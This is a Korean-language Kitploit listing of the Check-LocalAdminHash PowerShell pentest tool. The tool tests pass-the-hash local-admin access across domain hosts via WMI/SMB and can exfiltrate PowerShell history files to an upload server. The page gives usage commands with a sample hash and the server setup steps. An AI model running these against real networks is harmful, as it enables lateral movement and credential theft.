Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Check-LocalAdminHash — Check-LocalAdminHash는 WMI 또는 SMB를 통해 여러 호스트에 패스워드 해시로 인증을 시도하여 제공된 자격 증명이 로컬 관리자인지 확인하는 PowerShell 도구입니다. 사용자의 패스워드 해시를 획득했을 때 네트워크 상에서 해당 사용자가 어디서 로컬 관리자 권한을 가지고 있는지 확인하는 데 유용합니다. 본 도구는 제가 즐겨 사용하는 두 도구를 프랑켄슈타인처럼 결합하고 일부 자체 코드를 추가한 것입니다. 자격 증명 확인 부분은 Kevin Robertson(@kevin_robertson)의 Invoke-TheHash 프로젝트를 활용합니다. 또한, 스크립트는 Will Schroeder(@harmj0y)와 Matt Graeber(@mattifestation)의 PowerView 모듈을 사용하여 도메인 컴퓨터를 열거하고 관리자 접근 테스트 대상을 찾습니다. | Kitploit
도구/GitHubGitHub/dafthack/check-localadminhash
Privilege EscalationPassword AttacksLateral MovementInformation GatheringPenetration Testing
GitHubdafthack/check-localadminhash

Check-LocalAdminHash

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

Check-LocalAdminHash는 WMI 또는 SMB를 통해 여러 호스트에 패스워드 해시로 인증을 시도하여 제공된 자격 증명이 로컬 관리자인지 확인하는 PowerShell 도구입니다. 사용자의 패스워드 해시를 획득했을 때 네트워크 상에서 해당 사용자가 어디서 로컬 관리자 권한을 가지고 있는지 확인하는 데 유용합니다. 본 도구는 제가 즐겨 사용하는 두 도구를 프랑켄슈타인처럼 결합하고 일부 자체 코드를 추가한 것입니다. 자격 증명 확인 부분은 Kevin Robertson(@kevin_robertson)의 Invoke-TheHash 프로젝트를 활용합니다. 또한, 스크립트는 Will Schroeder(@harmj0y)와 Matt Graeber(@mattifestation)의 PowerView 모듈을 사용하여 도메인 컴퓨터를 열거하고 관리자 접근 테스트 대상을 찾습니다.

178347년 전Kitploit 검토 완료
공유

Check-LocalAdminHash

Check-LocalAdminHash는 PowerShell 도구로, WMI 또는 SMB를 통해 여러 호스트에 암호 해시를 사용하여 인증을 시도하고 제공된 자격 증명이 로컬 관리자 권한을 가지고 있는지 확인합니다. 사용자의 암호 해시를 확보했을 때 해당 사용자가 네트워크에서 어디에서 로컬 관리자인지 확인하려는 경우 유용합니다. 본질적으로 제가 가장 좋아하는 두 도구와 제 코드 일부를 결합한 프랑켄슈타인(Frankenstein)입니다. 자격 증명 확인 부분에는 Kevin Robertson(@kevin_robertson)의 Invoke-TheHash 프로젝트를 사용합니다. 또한, 이 스크립트는 Will Schroeder(@harmj0y)와 Matt Graeber(@mattifestation)의 PowerView에서 모듈을 활용하여 도메인 컴퓨터를 열거하여 관리자 권한 테스트 대상을 찾습니다.

alt text

이 스크립트가 존재하는 이유는 평가 중에 네트워크의 모든 시스템에서 PowerShell 콘솔 기록 파일(PSReadline)을 수집하고 싶었기 때문입니다. PSReadline 콘솔 기록은 PowerShell 버전의 bash 기록과 같습니다. 사용자가 터미널에 입력하는 흥미로운 것들(비밀번호 포함)이 많이 포함될 수 있습니다. 따라서 이 스크립트에는 모든 PSReadline 파일을 추출하는 옵션도 포함되어 있습니다. 설정이 약간 필요합니다. Readme의 끝 부분에서 설정 방법을 참조하십시오.

자세한 내용은 여기 블로그를 참조하세요: https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

예제

WMI를 통해 모든 호스트에 대해 로컬 관리자 해시 확인

이 명령은 도메인 'testdomain.local'을 사용하여 모든 시스템을 조회한 후, 'testdomain.local\PossibleAdminUser' 사용자와 암호 해시를 사용하여 WMI를 통해 각 시스템에 인증을 시도합니다.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

모든 PSReadline 콘솔 기록 파일 추출

이 명령은 도메인 'testdomain.local'을 사용하여 모든 시스템을 조회한 후, 'testdomain.local\PossibleAdminUser' 사용자와 암호 해시를 사용하여 WMI를 통해 각 시스템에 인증을 시도합니다. 그런 다음 각 시스템의 모든 프로필에 대해 PowerShell 콘솔 기록 파일(PSReadline)을 찾아 웹 서버에 POST로 전송합니다. 서버 설정은 Readme 하단을 참조하세요.

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

CIDR 범위 사용

이 명령은 제공된 CIDR 범위를 사용하여 대상 목록을 생성한 후, 로컬 사용자 'PossibleAdminUser'와 암호 해시를 사용하여 WMI를 통해 각 호스트에 인증을 시도합니다.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

대상 목록과 SMB를 사용하여 파일로 출력

이 명령은 제공된 대상 목록을 사용하여 로컬 사용자 'PossibleAdminUser'와 암호 해시를 SMB를 통해 각 호스트에 인증을 시도합니다.

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

단일 대상

이 명령은 시스템 192.168.0.16에 대해 Administrator 사용자로 SMB를 통해 로컬 인증을 시도합니다.

root@kitploit:~
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Check-LocalAdminHash 옵션

root@kitploit:~
Username - 인증 시도에 사용할 사용자 이름입니다.
PasswordHash - 사용자의 암호 해시입니다.
TargetSystem - 인증 시도 대상의 단일 호스트 이름 또는 IP입니다.
TargetList - 한 줄에 하나씩 스캔할 호스트 목록입니다.
AllSystems - 활성화되면 PowerView 모듈을 사용하여 모든 도메인 시스템을 열거하는 스위치입니다. 이 목록은 로컬 관리자 액세스를 확인하는 데 사용됩니다.
Domain - PowerView가 시스템 검색에 사용할 도메인입니다.
UserDomain - 각 시스템에 인증할 때 사용할 사용자의 도메인입니다. 도메인 자격 증명 대신 로컬 자격 증명을 사용하는 경우 이 플래그를 사용하지 마십시오.
Protocol - 해시를 WMI 또는 SMB로 확인할지 설정합니다. 기본값은 'WMI'이지만 'SMB'로 설정하여 SMB로 확인할 수 있습니다.
CIDR - 192.168.0.0/24와 같은 CIDR 형식의 네트워크 범위를 지정합니다.
Threads - 기본값은 5개의 스레드입니다. (스레드를 15개 이상으로 설정하면 일부 결과가 반환되지 않는 이상한 문제가 발생한 적이 있습니다.)
ExfilPSReadline - 인증이 성공한 각 시스템에 대해 PowerShell 명령을 실행하여 PSReadLine 콘솔 기록 파일(PowerShell 명령 기록)을 찾은 후 웹 서버에 POST로 전송합니다. 서버 설정은 Readme를 참조하세요.

PSReadline 추출 설정

경고합니다: 파일 업로드를 허용하는 인터넷에 노출된 서버를 설정하려는 것입니다. 일반적으로 이는 매우 나쁜 일입니다. 따라서 이 작업을 수행할 때는 반드시 주의를 기울이십시오. 방화벽 규칙을 잠궈 PSReadline 파일을 업로드할 IP만 웹 서버에 접근할 수 있도록 하는 것을 권장합니다. 또한 보안에 관한 이야기이지만, HTTPS 연결에서도 잘 작동하므로 도메인과 인증서를 설정하여 PSReadline 파일이 네트워크를 통해 암호화되어 전송되도록 하십시오. 경고했습니다...

  • 파일을 전송받을 서버를 원하는 위치에 설정하십시오. 이 서버는 각 시스템에서 HTTP/HTTPS로 접근 가능해야 합니다.

  • 이 저장소에서 index.php 스크립트를 복사하여 웹 서버의 웹 루트(/var/www/html)에 /index.php로 넣습니다.

  • 업로드 디렉토리를 만듭니다.

mkdir /var/www/html/uploads

  • 이 디렉토리의 권한을 수정합니다.

chmod 0777 /var/www/html/uploads

  • PHP가 설치되어 있는지 확인합니다.

apt-get install php

  • Apache를 재시작합니다.

service apache2 restart

  • Check-LocalAdminHash.ps1 스크립트 자체에서 "Gen-EncodedUploadScript" 함수로 스크롤하여 "$UnencodedCommand" 바로 아래에 있는 "$Url" 변수를 수정합니다. 웹 서버의 index.php 페이지를 가리키도록 설정하십시오. 아직 UploadUrl 변수를 인코딩되어 대상 시스템에서 실행되는 코드 부분에 전달하는 방법을 알아내지 못했으므로 지금은 하드코딩하십시오.

이제 -ExfilPSReadline 플래그를 사용하여 Check-LocalAdminHash를 실행하면 각 PSReadline 파일(있는 경우)을 웹 서버에 POST로 전송하려고 시도합니다.

alt text

크레딧

Check-LocalAdminHash는 사실 제가 가장 좋아하는 두 도구인 PowerView와 Invoke-TheHash의 프랑켄슈타인입니다. 코드의 95%는 이 두 도구에서 비롯되었습니다. 따라서 Invoke-TheHash에 대한 공로는 Kevin Robertson(@kevin_robertson)에게, PowerView에 대한 공로는 Will Schroeder(@harmj0y), Matt Graeber(@mattifestation)(및 PowerView 작업에 참여한 다른 모든 분들)에게 있습니다. 이 두 도구가 없었다면 이 스크립트는 존재하지 않았을 것입니다. 또한 스레딩에 도움을 주고 전반적으로 멋진 사람인 Steve Borosh(@424f424f)에게도 감사를 전합니다.

Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash

PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

도구 다운로드